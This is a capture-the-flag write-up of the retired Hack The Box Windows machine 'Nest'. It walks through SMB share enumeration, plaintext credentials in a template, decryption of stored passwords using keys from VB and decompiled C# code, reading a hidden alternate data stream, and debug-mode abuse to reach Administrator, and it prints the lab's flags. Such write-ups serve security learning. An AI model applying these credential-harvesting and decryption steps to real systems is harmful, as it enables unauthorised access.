Hack the Box | Nest | Machine

DezeStijn

2020-06-08T20:13:59+02:00

Contents

Note to fellow-HTBers: Only write-ups of retired HTB machines or challenges are allowed.

Machine info

Nest [by VbScrub]
IP: 10.10.10.178
OS: Windows
Difficulty: Easy
Release: 25 Jan 2020
Retired: 6 June 2020

Recon

Nmap

As usual we kick off with a nmap scan of the box

```
$ nmap -v -sV -sC -oA scans/nmap_nest -Pn 10.10.10.178

PORT    STATE SERVICE       VERSION
445/tcp open  microsoft-ds?

Host script results:
|_clock-skew: 3m33s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-05-10T18:35:02
|_  start_date: 2020-05-10T15:53:15

4386/tcp open  unknown
| fingerprint-strings:
```

```
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL
|     Reporting Service V1.2
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
|     Reporting Service V1.2
|     Unrecognised command
|   Help:
|     Reporting Service V1.2
|     This service allows users to run queries against databases using the legacy HQK format
|     AVAILABLE COMMANDS ---
|     LIST
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>
|     DEBUG <Password>
|_    HELP <Command>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fing
SF-Port4386-TCP:V=7.80%I=7%D=5/10%Time=5EB84977%P=x86_64-pc-linux-gnu%r(NU
SF:LL,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(GenericLin
SF:es,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognise
SF:d\x20command\r\n>")%r(GetRequest,3A,"\r\nHQK\x20Reporting\x20Service\x2
SF:0V1\.2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(HTTPOptions,3A,"\r\
SF:nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20comma
SF:nd\r\n>")%r(RTSPRequest,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\
SF:n\r\n>\r\nUnrecognised\x20command\r\n>")%r(RPCCheck,21,"\r\nHQK\x20Repo
SF:rting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSVersionBindReqTCP,21,"\r\nHQK
SF:\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSStatusRequestTCP,21,"
SF:\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Help,F2,"\r\nHQK\
SF:x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nThis\x20service\x20allows\
SF:x20users\x20to\x20run\x20queries\x20against\x20databases\x20using\x20th
SF:e\x20legacy\x20HQK\x20format\r\n\r\n---\x20AVAILABLE\x20COMMANDS\x20---
SF:\r\n\r\nLIST\r\nSETDIR\x20<Directory_Name>\r\nRUNQUERY\x20<Query_ID>\r\
SF:nDEBUG\x20<Password>\r\nHELP\x20<Command>\r\n>")%r(SSLSessionReq,21,"\r
SF:\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServerCooki
SF:e,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TLSSessionR
SF:eq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Kerberos,2
SF:1,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(SMBProgNeg,21,
SF:"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(X11Probe,21,"\r\
SF:nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(FourOhFourRequest,3A
SF:,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20
SF:command\r\n>")%r(LPDString,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2
SF:\r\n\r\n>")%r(LDAPSearchReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.
SF:2\r\n\r\n>")%r(LDAPBindReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2
SF:\r\n\r\n>")%r(SIPOptions,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r
SF:\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(LANDesk-RC,21,"\r\nHQK\x20R
SF:eporting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServer,21,"\r\nHQK\x2
SF:0Reporting\x20Service\x20V1\.2\r\n\r\n>");
```

SMB

Since we see SMB is available (tcp/445), we perform a scan of the available shares.

```
$ sudo smbclient -L 10.10.10.178
Enter WORKGROUP\root's password:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Data            Disk
        IPC$            IPC       Remote IPC
        Secure$         Disk
        Users           Disk
```

```
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.178 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
```

There seem to be a few shares available.

Digging around, we find a file containing maintenance alerts.
Perhaps we can find some info here on fixes that need to happen on this box?

The file is located a `\Data\Shared\Maintenance\Maintance Alerts.txt` .

```
smbclient -N \\\\10.10.10.178\\Data
smb: \> cd Shared
smb: \Shared\> ls
  .                                   D        0  Wed Aug  7 21:07:51 2019
  ..                                  D        0  Wed Aug  7 21:07:51 2019
  Maintenance                         D        0  Wed Aug  7 21:07:32 2019
  Templates                           D        0  Wed Aug  7 21:08:07 2019
                10485247 blocks of size 4096. 6545663 blocks available
smb: \Shared\> cd Maintenance
smb: \Shared\Maintenance\> ls
  .                                   D        0  Wed Aug  7 21:07:32 2019
  ..                                  D        0  Wed Aug  7 21:07:32 2019
  Maintenance Alerts.txt              A       48  Tue Aug  6 01:01:44 2019
                10485247 blocks of size 4096. 6545663 blocks available
smb: \Shared\Maintenance\> get "Maintenance Alerts.txt"
getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Maintenance Alerts.txt (0,5 KiloBytes/sec)
$ cat Maintenance\ Alerts.txt
There is currently no scheduled maintenance work
```

Sadly, nothing of interest here.

Digging further, we find a template for a welcome email.
Perhaps this contains some info on getting access to the network/box?

This one is found at `\Data\Shared\Templates\HR\Welcome Email.txt` .

```
$ cat Welcome\ Email.txt
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019


Thank you
HR
```

Here we find the path of the home directory for new employees/users.
But more importantly, we find a username and a password!
Also, we now have the hostname of the box.

Having a look at the Users share we find a few usernames, including `TempUser` .

```
$ smbclient -N \\\\10.10.10.178\\Users
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jan 26 00:04:21 2020
  ..                                  D        0  Sun Jan 26 00:04:21 2020
  Administrator                       D        0  Fri Aug  9 17:08:23 2019
```

```
  C.Smith                             D        0  Sun Jan 26 08:21:44 2020
  L.Frost                             D        0  Thu Aug  8 19:03:01 2019
  R.Thompson                          D        0  Thu Aug  8 19:02:50 2019
  TempUser                            D        0  Thu Aug  8 00:55:56 2019
                10485247 blocks of size 4096. 6545663 blocks available
```

Foothold

Testing our new creds

Using the newly acquired credentials, we have a look in the file shares again.

The home directory of our `TempUser` contains a "New Text Document".
Perhaps this contains some interesting info?

`\Users\TempUser\New Text Document.txt`

```
$ smbclient -U TempUser \\\\10.10.10.178\\Users
smb: \TempUser\> get "New Text Document.txt"
getting file \TempUser\New Text Document.txt of size 0 as New Text Document.txt (0,0 KiloBytes/sec) (average 0,0

$ cat New\ Text\ Document.txt
```

Sadly, it appears to be empty.

Config files

Looking further, we find some configuration files for NotepadPlusPlus and something called "RU Scanner".
Configuration files often hold credentials or references to interesting locations.

The Notepad++ configuration file can be found at `\IT\Configs\NotepadPlusPlus\config.xml` . The config file for RU Scanner is located at `\IT\Configs\RU Scanner\RU_config.xml` .

An easy way to recon folders on SMB is to do a recursive `ls` .

```
$ smbclient -U TempUser \\\\10.10.10.178\\Data
smb: \> recurse on
smb: \> ls
  .                                   D        0  Thu Aug  8 00:53:46 2019
  ..                                  D        0  Thu Aug  8 00:53:46 2019
  IT                                  D        0  Thu Aug  8 00:58:07 2019
  Production                          D        0  Mon Aug  5 23:53:38 2019
  Reports                             D        0  Mon Aug  5 23:53:44 2019
  Shared                              D        0  Wed Aug  7 21:07:51 2019

\IT
  .                                   D        0  Thu Aug  8 00:58:07 2019
  ..                                  D        0  Thu Aug  8 00:58:07 2019
  Archive                             D        0  Tue Aug  6 00:33:58 2019
  Configs                             D        0  Thu Aug  8 00:59:34 2019
  Installs                            D        0  Thu Aug  8 00:08:30 2019
  Reports                             D        0  Sun Jan 26 01:09:13 2020
  Tools                               D        0  Tue Aug  6 00:33:43 2019

[... cut for brevity ...]

\IT\Configs
  .                                   D        0  Thu Aug  8 00:59:34 2019
  ..                                  D        0  Thu Aug  8 00:59:34 2019
  Adobe                               D        0  Wed Aug  7 21:20:09 2019
  Atlas                               D        0  Tue Aug  6 13:16:18 2019
  DLink                               D        0  Tue Aug  6 15:25:27 2019
  Microsoft                           D        0  Wed Aug  7 21:23:26 2019
  NotepadPlusPlus                     D        0  Wed Aug  7 21:31:37 2019
```

```
  RU Scanner                          D        0  Wed Aug  7 22:01:13 2019
  Server Manager                      D        0  Tue Aug  6 15:25:19 2019

[... cut for brevity ...]

\IT\Configs\NotepadPlusPlus
  .                                   D        0  Wed Aug  7 21:31:37 2019
  ..                                  D        0  Wed Aug  7 21:31:37 2019
  config.xml                          A     6451  Thu Aug  8 01:01:25 2019
  shortcuts.xml                       A     2108  Wed Aug  7 21:30:27 2019

\IT\Configs\RU Scanner
  .                                   D        0  Wed Aug  7 22:01:13 2019
  ..                                  D        0  Wed Aug  7 22:01:13 2019
  RU_config.xml                       A      270  Thu Aug  8 21:49:37 2019

[... cut for brevity ...]
```

Looking at `RU_config.xml` we find the following info:

```
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>
```

We see a password here that seems to contain base64 encoded data (notice the `=` at the end).
However, trying to decode this gives us no useable output. There must be some extra encoding or encryption going on here.

The `config.xml` of Notepad++ contains the following interesting info in the file history section.

```
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
    <File filename="C:\windows\System32\drivers\etc\hosts" />
    <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
    <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>
```

Secure

Still using the credentials of the TempUser, we have a look at the Secure share.

Using the same technique of recursive file listing, we find some interesting files.

```
$ smbclient -U TempUser \\\\10.10.10.178\\Secure$
Unable to initialize messaging context
Enter WORKGROUP\TempUser's password:
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> ls
  .                                   D        0  Thu Aug  8 01:08:12 2019
  ..                                  D        0  Thu Aug  8 01:08:12 2019
  Finance                             D        0  Wed Aug  7 21:40:13 2019
  HR                                  D        0  Thu Aug  8 01:08:11 2019
  IT                                  D        0  Thu Aug  8 12:59:25 2019

[... cut for brevity ...]

\IT\Carl\VB Projects\WIP
  .                                   D        0  Tue Aug  6 16:47:41 2019
  ..                                  D        0  Tue Aug  6 16:47:41 2019
  RU                                  D        0  Fri Aug  9 17:36:45 2019

\IT\Carl\VB Projects\WIP\RU
```

```
  .                                   D        0  Fri Aug  9 17:36:45 2019
  ..                                  D        0  Fri Aug  9 17:36:45 2019
  RUScanner                           D        0  Thu Aug  8 00:05:54 2019
  RUScanner.sln                       A      871  Tue Aug  6 16:45:36 2019

\IT\Carl\VB Projects\WIP\RU\RUScanner
  .                                   D        0  Thu Aug  8 00:05:54 2019
  ..                                  D        0  Thu Aug  8 00:05:54 2019
  bin                                 D        0  Wed Aug  7 22:00:11 2019
  ConfigFile.vb                       A      772  Thu Aug  8 00:05:09 2019
  Module1.vb                          A      279  Thu Aug  8 00:05:44 2019
  My Project                          D        0  Wed Aug  7 22:00:11 2019
  obj                                 D        0  Wed Aug  7 22:00:11 2019
  RU Scanner.vbproj                   A     4828  Fri Aug  9 17:37:51 2019
  RU Scanner.vbproj.user              A      143  Tue Aug  6 14:55:27 2019
  SsoIntegration.vb                   A      133  Thu Aug  8 00:05:58 2019
  Utils.vb                            A     4888  Wed Aug  7 21:49:35 2019

\IT\Carl\VB Projects\WIP\RU\RUScanner\bin
  .                                   D        0  Wed Aug  7 22:00:11 2019
  ..                                  D        0  Wed Aug  7 22:00:11 2019
  Debug                               D        0  Wed Aug  7 21:59:13 2019
  Release                             D        0  Tue Aug  6 14:55:26 2019

\IT\Carl\VB Projects\WIP\RU\RUScanner\My Project
  .                                   D        0  Wed Aug  7 22:00:11 2019
  ..                                  D        0  Wed Aug  7 22:00:11 2019
  Application.Designer.vb             A      441  Tue Aug  6 14:55:13 2019
  Application.myapp                   A      481  Tue Aug  6 14:55:13 2019
  AssemblyInfo.vb                     A     1163  Tue Aug  6 14:55:13 2019
  Resources.Designer.vb               A     2776  Tue Aug  6 14:55:13 2019
  Resources.resx                      A     5612  Tue Aug  6 14:55:13 2019
  Settings.Designer.vb                A     2989  Tue Aug  6 14:55:13 2019
  Settings.settings                   A      279  Tue Aug  6 14:55:13 2019

[... cut for brevity ...]
```

It looks like Carl is working on a Visual Basic project named *RU Scanner*.

Programming in VB

We copy this whole directory structure locally so that we can have a look at the source code.
Perhaps we find what we need to decode the password we found in the config file?

```
$ smbget -rR "smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU" -U TempUser
Password for [TempUser] connecting to //Secure$/10.10.10.178:
Using workgroup WORKGROUP, user TempUser
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/ConfigFile.vb
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/Module1.vb
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/My Project/Application.Designer.vb
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/My Project/Application.myapp
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/My Project/AssemblyInfo.vb
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/My Project/Resources.Designer.vb
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/My Project/Resources.resx
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/My Project/Settings.Designer.vb
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/My Project/Settings.settings
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/RU Scanner.vbproj
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/RU Scanner.vbproj.user
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/SsoIntegration.vb
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner/Utils.vb
smb://10.10.10.178/Secure$/IT/Carl/VB Projects/WIP/RU/RUScanner.sln
Downloaded 25,05kB in 7 seconds
```

You can open the `.vb` files one by one in a text editor or use an IDE like Visual Code to have a look at the source code.

Eventually, we discover that `RUScanner/Utils.vb` contains the logic for encrypting and decrypthing passwords.

```
Public Shared Function DecryptString(EncryptedString As String) As String
    [...]
    Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)

Public Shared Function Decrypt(ByVal cipherText As String, _
        ByVal passPhrase As String, _
        ByVal saltValue As String, _
        ByVal passwordIterations As Integer, _
        ByVal initVector As String, _
        ByVal keySize As Integer) _
    As String
    [...]
```

We can simply copy this code and run it against the encrypted password we found in the config file.

```
Imports System.Text
Imports System.Security.Cryptography


Public Class Utils

    Public Shared Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Shared Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                            As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
                cipherTextBytes = System.Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                               saltValueBytes, _
                                               passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)
```

```
                Dim memoryStream As System.IO.MemoryStream
                memoryStream = New System.IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                             0, _
                                             decryptedByteCount)

        Return plainText
    End Function

        Sub Main()
                System.Console.WriteLine(Utils.DecryptString("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="))
        End Sub
End Class
```

We can use an online too like dotnetfiddle.net to run our code.

This gives us the password `xRxRxPANCAK3SxRxRx`

Agent Smith

Since this project was written by the user `c.smith` , we use this password to login as him/her on the box.

```
$ smbclient -U c.smith \\\\10.10.10.178\\Users
Unable to initialize messaging context
Enter WORKGROUP\c.smith's password: # xRxRxPANCAK3SxRxRx
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> ls
  .                                   D        0  Sun Jan 26 00:04:21 2020
  ..                                  D        0  Sun Jan 26 00:04:21 2020
  Administrator                       D        0  Fri Aug  9 17:08:23 2019
  C.Smith                             D        0  Sun Jan 26 08:21:44 2020
  L.Frost                             D        0  Thu Aug  8 19:03:01 2019
  R.Thompson                          D        0  Thu Aug  8 19:02:50 2019
  TempUser                            D        0  Thu Aug  8 00:55:56 2019

\C.Smith
  .                                   D        0  Sun Jan 26 08:21:44 2020
  ..                                  D        0  Sun Jan 26 08:21:44 2020
  HQK Reporting                       D        0  Fri Aug  9 01:06:17 2019
  user.txt                            A       32  Fri Aug  9 01:05:24 2019

[...]

\C.Smith\HQK Reporting
```

```
  .                                   D        0  Fri Aug  9 01:06:17 2019
  ..                                  D        0  Fri Aug  9 01:06:17 2019
  AD Integration Module               D        0  Fri Aug  9 14:18:42 2019
  Debug Mode Password.txt             A        0  Fri Aug  9 01:08:17 2019
  HQK_Config_Backup.xml               A      249  Fri Aug  9 01:09:05 2019

\C.Smith\HQK Reporting\AD Integration Module
  .                                   D        0  Fri Aug  9 14:18:42 2019
  ..                                  D        0  Fri Aug  9 14:18:42 2019
  HqkLdap.exe                         A    17408  Thu Aug  8 01:41:16 2019
```

We find the user flag in C.Smith's home directory.

```
smb: \> cd C.Smith\
smb: \C.Smith\> get user.txt
getting file \C.Smith\user.txt of size 32 as user.txt (0,3 KiloBytes/sec) (average 0,3 KiloBytes/sec)

$ cat user.txt
cf71b25404be5d84fd827e05f426e987
```

Privesc

Alternate Data Streams

The `Debug Mode Password.txt` file looks interesting, but appears to be empty again.

```
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt"
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt of size 0 as Debug Mode Password.txt (0,0 KiloBytes/
```

However, this box was specifically built on Windows and rumour is its creator has hidden something using a technique specifically for Windows and NTFS: Alternate Data Strams (ADS).

Looking at the `Debug Mode Password.txt` file again in more detail, we find something interesting.

```
smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    vr aug  9 01:06:12 2019 CEST
access_time:    vr aug  9 01:06:12 2019 CEST
write_time:     vr aug  9 01:08:17 2019 CEST
change_time:    vr aug  9 01:08:17 2019 CEST
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes

smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password:$DATA"
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA of size 15 as Debug Mode Password.txt

$ cat Debug\ Mode\ Password.txt\:Password\:\$DATA
WBQ201953D8w
```

Note that you need to specifically add the stream to path using the `smb get` command, otherwise you'll just download the empty `::$DATA` stream.

HQK Reporting

This debug password is linked to the HQK Reporting tool.
Looking back at the output of our nmap scan, we had an unknown service running on port 4386 and it's banner mentioned `HQK Reporting Service` .

Since we're working with a Windows box, we use telnet to connect to this service.

```
$ telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.
```

```
HQK Reporting Service V1.2

>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
>DEBUG WBQ201953D8w

Debug mode enabled. Use the HELP command to view additional commands that are now available
>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>

Current Directory: ALL QUERIES
```

We have successfully enabled the DEBUG mode and have been given additional commands to use.

Testing the commands available to us, we discover that `LIST` isn't specifically listing reports but also directory listings. We use this info to navigate around on the box, specifically the folder containing the HQK service and its config files.

```
>SETDIR ..

Current directory set to HQK
>LIST

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[DIR]  ALL QUERIES
[DIR]  LDAP
[DIR]  Logs
[1]   HqkSvc.exe
[2]   HqkSvc.InstallState
[3]   HQK_Config.xml

Current Directory: HQK

>SETDIR LDAP

Current directory set to LDAP
>LIST
```

```
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[1]   HqkLdap.exe
[2]   Ldap.conf

Current Directory: LDAP

>SHOWQUERY 2

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEqOUvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
```

We again find a password that appears to be encrypted/encoded.
Also, we discover that the tool appears to be making some kind of LDAP connection in the `WBQ Users.Production` Organizational Unit of the domain `nest.local` .

ILSpy

Taking a step back and returning to our SMB access, we download the `HqkLdap.exe` executable.

Similar to how we got the previous password decoded, we could try to find the encoding/decoding section of this executable to try and decrypt the password we found.
However, this time we don't have the source code, so we'll need to reverse engineer the executable.

That's where ILSpy comes in.
You can install this add-on in Visual Studio Code (a free IDE similar to Visual Studio) via the Marketplace.

Once you've installed the add-on, press `Ctrl + Shift + P` , select `ILSpy: Decompile IM Assembly (pick file)` and open `HqkLdap.exe` .

{{< figure src="/img/htb-nest-ilspy.png" position="center" caption="ILSpy" captionPosition="center" >}}

In here, we find the encryption module in `/HqkLdap/CR` .
We again extract this code and write our own script that will decode our password.
dotnetfiddle.net again comes to the rescue for executing our code.

```
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace HqkLdap
{
    public class CR
    {
        private const string K = "667912";
        private const string I = "1L1SA61493DRV53Z";
        private const string SA = "1313Rf99";

        public static string DS(string EncryptedString)
        {
            if (string.IsNullOrEmpty(EncryptedString))
            {
                return string.Empty;
            }
            return RD(EncryptedString, K, SA, 3, I, 256);
        }
```

```
        private static string RD(string cipherText, string passPhrase, string saltValue, int passwordIterations,
        {
            byte[] bytes = Encoding.ASCII.GetBytes(initVector);
            byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue);
            byte[] array = Convert.FromBase64String(cipherText);
            Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, bytes2, passwordIteration
            checked
            {
                byte[] bytes3 = rfc2898DeriveBytes.GetBytes((int)Math.Round((double)keySize / 8.0));
                AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
                aesCryptoServiceProvider.Mode = CipherMode.CBC;
                ICryptoTransform transform = aesCryptoServiceProvider.CreateDecryptor(bytes3, bytes);
                MemoryStream memoryStream = new MemoryStream(array);
                CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
                byte[] array2 = new byte[array.Length + 1];
                int count = cryptoStream.Read(array2, 0, array2.Length);
                memoryStream.Close();
                cryptoStream.Close();
                return Encoding.ASCII.GetString(array2, 0, count);
            }
        }

        public void Main() {
            string encrypted = "yyEqOUvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=";
            System.Console.WriteLine("encrypted: " + encrypted);
            System.Console.WriteLine("decrypted: " + DS(encrypted));
        }
    }
}
```

Running our tool we get:

```
encrypted: yyEqOUvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
decrypted: XtH4nkS4Pl4y1nGX
```

Getting the root flag

We use this password to login as the Administrator user and find the root flag in it's Desktop folder.

```
$ smbclient -U Administrator \\\\10.10.10.178\\C$
Unable to initialize messaging context
Enter WORKGROUP\Administrator's password:
Try "help" to get a list of possible commands.
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> ls
  .                                   DR        0  Sun Jan 26 08:20:50 2020
  ..                                  DR        0  Sun Jan 26 08:20:50 2020
  desktop.ini                        AHS      282  Sat Jan 25 23:02:44 2020
  root.txt                             A       32  Tue Aug  6 00:27:26 2019

        10485247 blocks of size 4096. 6545151 blocks available
smb: \Users\Administrator\Desktop\> get root.txt
getting file \Users\Administrator\Desktop\root.txt of size 32 as root.txt (0,3 KiloBytes/sec) (average 0,3 KiloB

$ cat root.txt
6594c2eb084bc0f08a42f0b94b878c41
```

:)